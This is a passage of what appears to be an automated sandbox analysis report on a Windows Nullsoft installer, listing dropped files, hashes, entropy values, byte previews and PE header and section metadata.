Process:	C:\Users\user\Desktop\my2gf4tNEk.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	5.13006727705212
Encrypted:	false
SSDEEP:	24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
MD5:	4D42118D35941E0F664DDDBD83F633C5
SHA1:	2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
SHA-256:	5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
SHA-512:	3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
Malicious:	false
Preview:	Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

Process:	C:\Windows\System32\curl.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	51476596
Entropy (8bit):	7.993454941705
Encrypted:	true
SSDEEP:	1572864:6mIiGkgmsKpC0Xn1OoG4JC6B9O1jPIaG7YiC2:Y0XHRB9OZJG7YiC2
MD5:	38D365898FD6ACBB4788E654E864922D
SHA1:	281C2F8060DD3F0B244AE2282C3D3D406F8DD458
SHA-256:	6A104F07AB6C5711B6BC8BF6FF956AB8CD597A388002A966E980C5EC9678B5B0
SHA-512:	AD29325EA5F2A9744206E3282EB26656AAA70D4F83BEAE79330AA69A947701905CB7F353F6CABCA663179D0AA1305B300995E575A011B813FC1B73E63AF21F2C
Malicious:	false
Preview:	PK........$..V.................pyp/PK...........V.................pyp/DLLs/PK........O..Uu...h"..`.4......pyp/DLLs/libcrypto-1_1.dll..X.K.....uc...Ult..b.....P.T..E=....;A...@l...~.....~...?........1.=3k.Z3.f.Zk..-.....C"....`.c.}.......C..R.v$?.kO.....u...w_..}..t..W/_?..........S....z.v.T$U...8....m.x.....f?.V<@....b^h.;.<...b.c.;.........z4.<S.?..Q......j^d..]<.o...A..]i...T....q\2C.E.....m..d.0....f...6...&G$0....I.?..k..ae.%.. .R.....Kv-j..5.!.@.Ce...a..P...Y..E..w~}..a..k0DD.2.....}.P,....!"./_......<g.E....^.I`........1:..P...{..[..X.\$..!. ."......X....,.;...............\.[l.6...hr.._..v...`....JX..p.(._...C..U.......u..U.w...7X...rU...<gx"w.Oa..[...9dpFC......G.8."7.p6Dz,Io.t......r&Cd....;.9."s..m.L.]...U.-Y.."..;."W5.`..8P.B...x.\...Y........+.r........l...s.Z.Z.&.T.z.....\.[zu..g.../E...I!4...X<.!...4.F.o...k..."....rnT..4D.,."K6e3D.v...[K...^.T$.n.9.D.m. .]......jX7.=...<....W.I...RI...B.>.2D&.../&..lK..........J.B..x...9.KbCd...b.

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.999974782956536
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	my2gf4tNEk.exe
File size:	74'112'131 bytes
MD5:	f91bb20852c14222a0c193ce50c7042d
SHA1:	748d01320660cfe183d5fa06165c82b1797a94b6
SHA256:	a2190824ca378c0de1a97170032ba64a5c456db3071edeaab701075365990af1
SHA512:	6c991ba3086854f98d7fcc317cbb33b0c37a67b0785ee05b38fd1a0798db08f5b46cac8686aed19788a14c1f90d6a1369b810be1e153d92aaf3e3409fc07d0f8
SSDEEP:	1572864:GgHO9lQrxxqwga6/P9YZgvLGdnwL6slKs5yqRR/sRp:GoO96xr6/P9YmvLGdnwLplh5yqRR/sRp
TLSH:	20F7337627A3EB60CF0353FBC25D56A700828385A9727A0399DC7C6858FE1244DDE67E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L......\.................h...8...@.

Entrypoint:	0x40338f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F86 [Sat Dec 15 22:26:14 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b34f154ec913d2d2c435cbd644e91687

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8610	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x19f000	0x59a0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6627	0x6800	7618d4c0cd8bb67ea9595b4266b3a91f	False	0.6646259014423077	data	6.450282348506287	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x14a2	0x1600	eecac1fed9cc6b447d50940d178404d8	False	0.4405184659090909	data	5.025178929113415	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x70ff8	0x600	db8f31a08a2242d80c29e1f9500c6527	False	0.5182291666666666	data	4.037117731448378	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7b000	0x124000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x19f000	0x59a0	0x5a00	08c4991250f5de79c45db0a010df751d	False	0.4971788194444444	data	5.4610253129803485	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ